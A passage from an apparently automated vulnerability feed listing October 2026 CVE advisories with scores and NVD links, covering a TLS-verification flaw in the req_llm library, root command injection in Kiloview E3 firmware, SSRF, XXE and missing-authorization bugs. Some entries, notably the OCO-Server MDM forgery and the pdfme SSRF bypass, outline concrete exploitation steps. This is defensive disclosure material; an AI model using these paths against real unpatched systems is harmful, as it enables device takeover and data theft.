The OpenAI Responses, Realtime, and Codex WebSocket paths reach this client and send the API key or OAuth access token in the authorization header. HTTP streaming through Finch and the HTTP/2 duplex session through Mint verify certificates and are not affected.

This issue affects req_llm: from 1.9.0 before 1.29.0.
CVSS 9.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107685).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107685&date=2026-10-25).
Sources:
NVD CVE-2026-107685: https://nvd.nist.gov/vuln/detail/CVE-2026-107685
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107685&date=2026-10-25
Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions, including the authorization bearer token, via a TLS certificate the client does not trust. ReqLLM.Streaming.WebSocketSession.Client.start/3 in lib/req_llm/streaming/web_socket_session/client.ex starts WebSockex without TLS options, and WebSockex defaults to insecure: true, which connects with verify: :verify_none. The option allowlist also drops any caller-supplied cacerts or ssl_options, so an application cannot turn verification on.

The OpenAI Responses, Realtime, and Codex WebSocket paths reach this client and send the API key or OAuth access token in the authorization header. HTTP streaming through Finch and the HTTP/2 duplex session through Mint verify certificates and are not affected.

This issue affects req_llm: from 1.9.0 before 1.29.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The system control service on affected Kiloview E3 NDI encoder firmware fails to sanitize the hostname parameter accepted by its device naming endpoint, passing it unquoted into a...
https://kevwire.com/record/CVE-2026-107861
The system control service on affected Kiloview E3 NDI encoder firmware fails to sanitize the hostname parameter accepted by its device naming endpoint, passing it unquoted into a... (Oct 22, 2026).
The system control service on affected Kiloview E3 NDI encoder firmware fails to sanitize the hostname parameter accepted by its device naming endpoint, passing it unquoted into a shell command. An authenticated web user with access to this function can embed characters to execute arbitrary operating system commands as root, resulting in full device compromise.
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107861).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107861&date=2026-10-25).
Sources:
NVD CVE-2026-107861: https://nvd.nist.gov/vuln/detail/CVE-2026-107861
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107861&date=2026-10-25
The system control service on affected Kiloview E3 NDI encoder firmware fails to sanitize the hostname parameter accepted by its device naming endpoint, passing it unquoted into a shell command. An authenticated web user with access to this function can embed characters to execute arbitrary operating system commands as root, resulting in full device compromise.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The network management service on affected Kiloview E3 NDI encoder firmware fails to sanitize one field used when configuring static routes via the web management API.
https://kevwire.com/record/CVE-2026-109122
The network management service on affected Kiloview E3 NDI encoder firmware fails to sanitize one field used when configuring static routes via the web management API. (Oct 22, 2026).
The network management service on affected Kiloview E3 NDI encoder firmware fails to sanitize one field used when configuring static routes via the web management API. An authenticated web user with permission to configure static routes can exploit this to execute arbitrary operating system commands as root, and the malicious configuration persists across reboots. Successful exploitation could result in full device compromise, including exposure of stored credentials and cryptographic material.
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109122).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109122&date=2026-10-25).
Sources:
NVD CVE-2026-109122: https://nvd.nist.gov/vuln/detail/CVE-2026-109122
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109122&date=2026-10-25
The network management service on affected Kiloview E3 NDI encoder firmware fails to sanitize one field used when configuring static routes via the web management API. An authenticated web user with permission to configure static routes can exploit this to execute arbitrary operating system commands as root, and the malicious configuration persists across reboots. Successful exploitation could result in full device compromise, including exposure of stored credentials and cryptographic material.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The network management service on affected Kiloview E3 NDI encoder firmware fails to validate the network interface name accepted by its link maintenance address configuration...
https://kevwire.com/record/CVE-2026-110243
The network management service on affected Kiloview E3 NDI encoder firmware fails to validate the network interface name accepted by its link maintenance address configuration... (Oct 22, 2026).
The network management service on affected Kiloview E3 NDI encoder firmware fails to validate the network interface name accepted by its link maintenance address configuration endpoint before passing it to a shell command, unlike sibling handlers that perform the same validation. An authenticated web user with permission to configure network settings can exploit this to execute arbitrary operating system commands as root.
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110243).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110243&date=2026-10-25).
Sources:
NVD CVE-2026-110243: https://nvd.nist.gov/vuln/detail/CVE-2026-110243
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110243&date=2026-10-25
The network management service on affected Kiloview E3 NDI encoder firmware fails to validate the network interface name accepted by its link maintenance address configuration endpoint before passing it to a shell command, unlike sibling handlers that perform the same validation. An authenticated web user with permission to configure network settings can exploit this to execute arbitrary operating system commands as root.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The ONVIF service on the E3 can be rendered unresponsive by sending malformed or incomplete requests to certain operations.
https://kevwire.com/record/CVE-2026-110491
The ONVIF service on the E3 can be rendered unresponsive by sending malformed or incomplete requests to certain operations. (Oct 22, 2026).
The ONVIF service on the E3 can be rendered unresponsive by sending malformed or incomplete requests to certain operations. The affected service stops accepting new connections while the rest of the device continues operating normally, and will recover automatically after a period. This can be triggered repeatedly by any unauthenticated party with network access to the device.
CVSS 6.9 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110491).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110491&date=2026-10-25).
Sources:
NVD CVE-2026-110491: https://nvd.nist.gov/vuln/detail/CVE-2026-110491
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110491&date=2026-10-25
The ONVIF service on the E3 can be rendered unresponsive by sending malformed or incomplete requests to certain operations. The affected service stops accepting new connections while the rest of the device continues operating normally, and will recover automatically after a period. This can be triggered repeatedly by any unauthenticated party with network access to the device.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The ONVIF device service on affected Kiloview E3 NDI encoder firmware accepts hostname, DNS, and NTP configuration write operations without requiring authentication, regardless of...
https://kevwire.com/record/CVE-2026-110825
The ONVIF device service on affected Kiloview E3 NDI encoder firmware accepts hostname, DNS, and NTP configuration write operations without requiring authentication, regardless of... (Oct 22, 2026).
The ONVIF device service on affected Kiloview E3 NDI encoder firmware accepts hostname, DNS, and NTP configuration write operations without requiring authentication, regardless of the device's configured authentication setting for this service. A remote, unauthenticated attacker can alter the device hostname, redirect DNS resolution, or modify the configured time source, enabling follow on attacks such as traffic interception or certificate validation bypass.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110825).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110825&date=2026-10-25).
Sources:
NVD CVE-2026-110825: https://nvd.nist.gov/vuln/detail/CVE-2026-110825
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110825&date=2026-10-25
The ONVIF device service on affected Kiloview E3 NDI encoder firmware accepts hostname, DNS, and NTP configuration write operations without requiring authentication, regardless of the device's configured authentication setting for this service. A remote, unauthenticated attacker can alter the device hostname, redirect DNS resolution, or modify the configured time source, enabling follow on attacks such as traffic interception or certificate validation bypass.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization (CWE-862) in the user API of Roskus Prospero Flow CRM from 2.0.0 before 5.26.0 allows a user with a basic role to read the accounts of other users of its own...
https://kevwire.com/record/CVE-2026-114519
Missing Authorization (CWE-862) in the user API of Roskus Prospero Flow CRM from 2.0.0 before 5.26.0 allows a user with a basic role to read the accounts of other users of its own... (Oct 22, 2026).
Missing Authorization (CWE-862) in the user API of Roskus Prospero Flow CRM from 2.0.0 before 5.26.0 allows a user with a basic role to read the accounts of other users of its own company, including accounts with higher privileges, and, in versions from 3.5.0, to delete them, because the routes GET /api/user/{id} and DELETE /api/user/{id} in routes/api.php carry only the auth:api middleware, which checks that a JSON Web Token is valid and nothing more, and neither UserReadController::read() nor UserDeleteController::delete() checks a permission, a policy or a role before acting. Object access is scoped by company: the read path limits the query to the company of the authenticated user, and the delete path compares the company of the target account with the company of the authenticated user. The delete path skips that comparison when the company of the authenticated user is Company::DEFAULT_COMPANY, so a user with a basic role in that company can delete any account of any company of the installation. Deleting an account removes the data held on it, and the last administrative account of a company can be deleted. This gives the attacker the personal data held on the other accounts, including email address, telephone number, postal address and IBAN, and the ability to delete accounts it has no permission to administer.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114519).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114519&date=2026-10-25).
Sources:
NVD CVE-2026-114519: https://nvd.nist.gov/vuln/detail/CVE-2026-114519
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114519&date=2026-10-25
Missing Authorization (CWE-862) in the user API of Roskus Prospero Flow CRM from 2.0.0 before 5.26.0 allows a user with a basic role to read the accounts of other users of its own company, including accounts with higher privileges, and, in versions from 3.5.0, to delete them, because the routes GET /api/user/{id} and DELETE /api/user/{id} in routes/api.php carry only the auth:api middleware, which checks that a JSON Web Token is valid and nothing more, and neither UserReadController::read() nor UserDeleteController::delete() checks a permission, a policy or a role before acting. Object access is scoped by company: the read path limits the query to the company of the authenticated user, and the delete path compares the company of the target account with the company of the authenticated user. The delete path skips that comparison when the company of the authenticated user is Company::DEFAULT_COMPANY, so a user with a basic role in that company can delete any account of any company of the installation. Deleting an account removes the data held on it, and the last administrative account of a company can be deleted. This gives the attacker the personal data held on the other accounts, including email address, telephone number, postal address and IBAN, and the ability to delete accounts it has no permission to administer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management.
https://kevwire.com/record/CVE-2026-114611
OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. (Oct 22, 2026).
OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.3,the Apple MDM enrollment endpoint `frontend/api-mdm.php` verifies the signed enrollment-request plist with `openssl_pkcs7_verify(..., PKCS7_NOVERIFY, ...)`. `PKCS7_NOVERIFY` disables signer certificate chain and trust validation, so the signature only has to be self-consistent with whatever certificate is embedded in the PKCS#7 blob. A self-signed certificate from an unrelated attacker is accepted. Because the endpoint trusts the `SERIAL` field taken from the unverified payload, anyone who knows a registered device's serial number can sign a forged plist (`SERIAL` = victim device, attacker-chosen `UDID`) with an arbitrary self-signed certificate; POST it unauthenticated to `/api-mdm.php/profile` (Content-Type: `application/pkcs7-signature`); and receive the victim device's freshly minted MDM identity: a certificate with `CN=<serial>` issued by the server's internal MDM device CA, bundled with its private key in a PKCS#12 payload inside the returned `.mobileconfig` enrollment profile. Additionally, the victim's `mobile_device` database row is silently overwritten with the attacker-supplied `UDID` (device-record hijack). With the stolen certificate and key, the attacker can impersonate the victim device on all subsequent MDM traffic (`/checkin`, `/mdm`, `/parameters`), which authenticate callers by the certificate CN (the serial number) via `checkSignature()` in the same file. This yields control over the victim device's MDM relationship: reading its management data, replacing its push token, and disrupting or redirecting its enrollment. Version 1.2.3 fixes the issue.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114611).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114611&date=2026-10-25).
Sources:
NVD CVE-2026-114611: https://nvd.nist.gov/vuln/detail/CVE-2026-114611
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114611&date=2026-10-25
OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.3,the Apple MDM enrollment endpoint `frontend/api-mdm.php` verifies the signed enrollment-request plist with `openssl_pkcs7_verify(..., PKCS7_NOVERIFY, ...)`. `PKCS7_NOVERIFY` disables signer certificate chain and trust validation, so the signature only has to be self-consistent with whatever certificate is embedded in the PKCS#7 blob. A self-signed certificate from an unrelated attacker is accepted. Because the endpoint trusts the `SERIAL` field taken from the unverified payload, anyone who knows a registered device's serial number can sign a forged plist (`SERIAL` = victim device, attacker-chosen `UDID`) with an arbitrary self-signed certificate; POST it unauthenticated to `/api-mdm.php/profile` (Content-Type: `application/pkcs7-signature`); and receive the victim device's freshly minted MDM identity: a certificate with `CN=<serial>` issued by the server's internal MDM device CA, bundled with its private key in a PKCS#12 payload inside the returned `.mobileconfig` enrollment profile. Additionally, the victim's `mobile_device` database row is silently overwritten with the attacker-supplied `UDID` (device-record hijack). With the stolen certificate and key, the attacker can impersonate the victim device on all subsequent MDM traffic (`/checkin`, `/mdm`, `/parameters`), which authenticate callers by the certificate CN (the serial number) via `checkSignature()` in the same file. This yields control over the victim device's MDM relationship: reading its management data, replacing its push token, and disrupting or redirecting its enrollment. Version 1.2.3 fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @pdfme/common from 5.5.10 before 6.2.6 contains a server-side request forgery vulnerability that allows attackers to bypass the isUrlSafeToFetch denylist in getB64BasePdf.
https://kevwire.com/record/CVE-2026-115729
@pdfme/common from 5.5.10 before 6.2.6 contains a server-side request forgery vulnerability that allows attackers to bypass the isUrlSafeToFetch denylist in getB64BasePdf. (Oct 23, 2026).
@pdfme/common from 5.5.10 before 6.2.6 contains a server-side request forgery vulnerability that allows attackers to bypass the isUrlSafeToFetch denylist in getB64BasePdf. Attackers can supply basePdf URLs using IPv4-mapped IPv6, [::], NAT64 or localhost alias hostnames to read loopback, internal or cloud metadata responses through generated documents.
CVSS 8.9 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115729).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115729&date=2026-10-25).
Sources:
NVD CVE-2026-115729: https://nvd.nist.gov/vuln/detail/CVE-2026-115729
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115729&date=2026-10-25
@pdfme/common from 5.5.10 before 6.2.6 contains a server-side request forgery vulnerability that allows attackers to bypass the isUrlSafeToFetch denylist in getB64BasePdf. Attackers can supply basePdf URLs using IPv4-mapped IPv6, [::], NAT64 or localhost alias hostnames to read loopback, internal or cloud metadata responses through generated documents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tandoor Recipes before 2.7.0 contains a server-side request forgery vulnerability in the Pestle importer that allows authenticated low-privileged users to force the server to...
https://kevwire.com/record/CVE-2026-115810
Tandoor Recipes before 2.7.0 contains a server-side request forgery vulnerability in the Pestle importer that allows authenticated low-privileged users to force the server to... (Oct 23, 2026).
Tandoor Recipes before 2.7.0 contains a server-side request forgery vulnerability in the Pestle importer that allows authenticated low-privileged users to force the server to issue GET requests to arbitrary internal or external hosts by crafting a malicious image URL in a Pestle JSON import file. Attackers can exploit the raw requests.get call in cookbook/integration/pestle.py, which bypasses the application's centralized requests-hardened SSRF filter, to reach internal-only endpoints, perform port/service discovery, and exfiltrate internal responses via the stored recipe image.
CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115810).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115810&date=2026-10-25).
Sources:
NVD CVE-2026-115810: https://nvd.nist.gov/vuln/detail/CVE-2026-115810
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115810&date=2026-10-25
Tandoor Recipes before 2.7.0 contains a server-side request forgery vulnerability in the Pestle importer that allows authenticated low-privileged users to force the server to issue GET requests to arbitrary internal or external hosts by crafting a malicious image URL in a Pestle JSON import file. Attackers can exploit the raw requests.get call in cookbook/integration/pestle.py, which bypasses the application's centralized requests-hardened SSRF filter, to reach internal-only endpoints, perform port/service discovery, and exfiltrate internal responses via the stored recipe image.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function vulnerability in ABB Ability Edgenius.
https://kevwire.com/record/CVE-2026-13599
Missing authentication for critical function vulnerability in ABB Ability Edgenius. (Oct 22, 2026).
Missing authentication for critical function vulnerability in ABB Ability Edgenius.

This issue affects Ability Edgenius: through 3.2.3.0.
CVSS 5.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-13599).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-13599&date=2026-10-25).
Sources:
NVD CVE-2026-13599: https://nvd.nist.gov/vuln/detail/CVE-2026-13599
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-13599&date=2026-10-25
Missing authentication for critical function vulnerability in ABB Ability Edgenius.

This issue affects Ability Edgenius: through 3.2.3.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in Hallo Welt!
https://kevwire.com/record/CVE-2026-25716
Missing Authorization vulnerability in Hallo Welt! (Oct 23, 2026).
Missing Authorization vulnerability in Hallo Welt! GmbH BlueSpice (Extension:BlueSpiceUserManager) allows any authenticated user without special privileges to block or unblock arbitrary user accounts, including administrators. The REST endpoints /bs-usermanager/v1/block/create and /bs-usermanager/v1/block/delete call UserManager::blockUser() and UserManager::unblockUser(), which do not verify the permissions of the acting user. This allows locking out all administrators (denial of service) and lifting blocks imposed by administrators.

This issue affects BlueSpice: from 5.0.0 before 5.1.11, from 5.2.0 before 5.2.7.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-25716).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-25716&date=2026-10-25).
Sources:
NVD CVE-2026-25716: https://nvd.nist.gov/vuln/detail/CVE-2026-25716
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-25716&date=2026-10-25
Missing Authorization vulnerability in Hallo Welt! GmbH BlueSpice (Extension:BlueSpiceUserManager) allows any authenticated user without special privileges to block or unblock arbitrary user accounts, including administrators. The REST endpoints /bs-usermanager/v1/block/create and /bs-usermanager/v1/block/delete call UserManager::blockUser() and UserManager::unblockUser(), which do not verify the permissions of the acting user. This allows locking out all administrators (denial of service) and lifting blocks imposed by administrators.

This issue affects BlueSpice: from 5.0.0 before 5.1.11, from 5.2.0 before 5.2.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt!
https://kevwire.com/record/CVE-2026-25784
Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt! (Oct 23, 2026).
Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt! GmbH BlueSpice (container image bluespice/wiki) allows privilege escalation. The default value of $mwsgTokenAuthenticatorServiceCIDR in the container's LocalSettings.php was intended to restrict internal service authentication to the container network, but evaluated to an empty string when the environment variable WIKI_SERVICE_TOKEN_AUTH_ALLOWED was not set. An empty value disables the IP restriction in the token authenticator component (mwstake/mediawiki-component-token-authenticator). As a result, any user with read access to the wiki (anonymous users on publicly readable wikis) could obtain an application token from the REST API and use it to get a session with sysop privileges as the internal service user.

This issue affects BlueSpice: from 5.2.3 before 5.2.7, and the 5.2.7 container images published before 2026-10-19 15:37 UTC.
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-25784).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-25784&date=2026-10-25).
Sources:
NVD CVE-2026-25784: https://nvd.nist.gov/vuln/detail/CVE-2026-25784
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-25784&date=2026-10-25
Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt! GmbH BlueSpice (container image bluespice/wiki) allows privilege escalation. The default value of $mwsgTokenAuthenticatorServiceCIDR in the container's LocalSettings.php was intended to restrict internal service authentication to the container network, but evaluated to an empty string when the environment variable WIKI_SERVICE_TOKEN_AUTH_ALLOWED was not set. An empty value disables the IP restriction in the token authenticator component (mwstake/mediawiki-component-token-authenticator). As a result, any user with read access to the wiki (anonymous users on publicly readable wikis) could obtain an application token from the REST API and use it to get a session with sysop privileges as the internal service user.

This issue affects BlueSpice: from 5.2.3 before 5.2.7, and the 5.2.7 container images published before 2026-10-19 15:37 UTC.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Kitodo.Production is a workflow management tool for mass digitization and is part of the Kitodo Digital Library Suite.
https://kevwire.com/record/CVE-2026-54668
Kitodo.Production is a workflow management tool for mass digitization and is part of the Kitodo Digital Library Suite. (Oct 23, 2026).
Kitodo.Production is a workflow management tool for mass digitization and is part of the Kitodo Digital Library Suite. Prior to version 3.9.2, org.kitodo.production.helper.XMLUtils exposes several XML parsing helpers that construct a JAXP parser with the default, non-secure configuration. The methods parseXMLString(String), getNumberOfEADElements(String, String) and checkIfXmlIsWellFormed(String) build a DocumentBuilderFactory / XMLInputFactory / SAXParserFactory via newInstance() and parse the attacker-supplied string without disabling DOCTYPE declarations or external entity resolution. These helpers sit directly on the EAD-import path: an authenticated user who uploads an EAD/XML file through the "Create process" file-upload dialog has the uploaded bytes parsed by these methods. A crafted document with an external entity therefore yields XML External Entity (XXE) injection: local file disclosure and outbound SSRF requests from the server. This issue has been patched in version 3.9.2.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54668).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54668&date=2026-10-25).
Sources:
NVD CVE-2026-54668: https://nvd.nist.gov/vuln/detail/CVE-2026-54668
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54668&date=2026-10-25
Kitodo.Production is a workflow management tool for mass digitization and is part of the Kitodo Digital Library Suite. Prior to version 3.9.2, org.kitodo.production.helper.XMLUtils exposes several XML parsing helpers that construct a JAXP parser with the default, non-secure configuration. The methods parseXMLString(String), getNumberOfEADElements(String, String) and checkIfXmlIsWellFormed(String) build a DocumentBuilderFactory / XMLInputFactory / SAXParserFactory via newInstance() and parse the attacker-supplied string without disabling DOCTYPE declarations or external entity resolution. These helpers sit directly on the EAD-import path: an authenticated user who uploads an EAD/XML file through the "Create process" file-upload dialog has the uploaded bytes parsed by these methods. A crafted document with an external entity therefore yields XML External Entity (XXE) injection: local file disclosure and outbound SSRF requests from the server. This issue has been patched in version 3.9.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The GTM Server Side plugin by stape.io implements server-side tracking on WordPress websites.
https://kevwire.com/record/CVE-2026-55826
The GTM Server Side plugin by stape.io implements server-side tracking on WordPress websites. (Oct 23, 2026).
The GTM Server Side plugin by stape.io implements server-side tracking on WordPress websites. From version 2.0.0 to before version 2.1.48, the WooCommerce purchase event tracking mechanism allows an unauthenticated attacker to trigger the rendering of another customer's full order data — including personally identifiable information (PII) — into the page's JavaScript dataLayer. This issue has been patched in version 2.1.48.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55826).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55826&date=2026-10-25).
Sources:
NVD CVE-2026-55826: https://nvd.nist.gov/vuln/detail/CVE-2026-55826
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55826&date=2026-10-25
The GTM Server Side plugin by stape.io implements server-side tracking on WordPress websites. From version 2.0.0 to before version 2.1.48, the WooCommerce purchase event tracking mechanism allows an unauthenticated attacker to trigger the rendering of another customer's full order data — including personally identifiable information (PII) — into the page's JavaScript dataLayer. This issue has been patched in version 2.1.48.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service.
https://kevwire.com/record/CVE-2026-57209
Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. (Oct 23, 2026).
